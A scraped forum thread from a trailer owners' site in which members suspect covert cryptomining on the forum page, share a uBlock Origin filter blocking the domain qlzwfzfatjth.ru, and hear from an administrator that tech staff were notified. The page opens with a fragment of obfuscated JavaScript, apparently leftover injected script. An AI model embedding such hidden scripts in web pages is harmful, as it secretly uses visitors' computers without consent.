self[_0x2cba('0x1c7','A4d%')][_0x2cba('0x1c8','Ga1p')](_0x40d98c[_0x2cba('0x1c9','aKxW')][_0x2cba('0x1ca','cT!L')]);}};},{'./filemap':0x1}]},{},[0x2]);
|
|
|
06-30-2018, 06:32 AM
|
#18
|
Junior Member
Name: Susan
Trailer: Scamp 13'
Vermont
Posts: 3
|
Quote:
Originally Posted by John in Santa Cruz
if you'r eusing CHrome or Firefox, install the free plugin uBlock Origin (which is superior to adblock plus or whatever). click the UO icon in the toolbar, select 'dashboard', and on the "My Filters" tab, at the bottom add a line with just...
qlzwfzfatjth.ru
and click "Apply Changes", and you can close the ublock dashboard tab in your browser.
|
Thank you, John! I was ready to quit using the forum. In the past few weeks, every time I opened the forum page the fan on my computer started up, meaning some heavy duty processing happening. This made me wonder what the heck was going on, and worried it was something not good. I installed your fix and no more fan starting up!
|
|
|
06-30-2018, 10:10 AM
|
#19
|
Senior Member
Name: Tom
Trailer: Sprinter 'til I buy
Denver, CO
Posts: 944
|
Interesting, John
My first reaction was to chuckle, thinking there are no coins to be mined here. But that isn't the point.
The point is to potentially use members processors remotely as part of a massive computing effort, perhaps without members knowing.
Is it possible? Some may recall SETI, Seti.org is a site that used to harness idle processing power from volunteers to Search Extra Terrestrial life - UFOs. SETI is still around, their focus seems to have shifted.
Some trojan viruses create massive computing power without users consent or knowledge. It is possible. It should be evaluated.
|
|
|
06-30-2018, 10:11 AM
|
#20
|
Administrator
Name: Mary
Trailer: 2015 Escape 21; formerly Casita 1999 17 ft Liberty Deluxe
Posts: 10,941
|
We have notified our tech people about this issue.
Thanks to all for the heads up.
I join you in hoping it can be addressed ASAP!
|
|
|
|
|
Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
|
|
Thread Tools |
Search this Thread |
|
|
Display Modes |
Linear Mode
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
|
» Recent Discussions |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
» Upcoming Events |
No events scheduled in the next 465 days.
|
|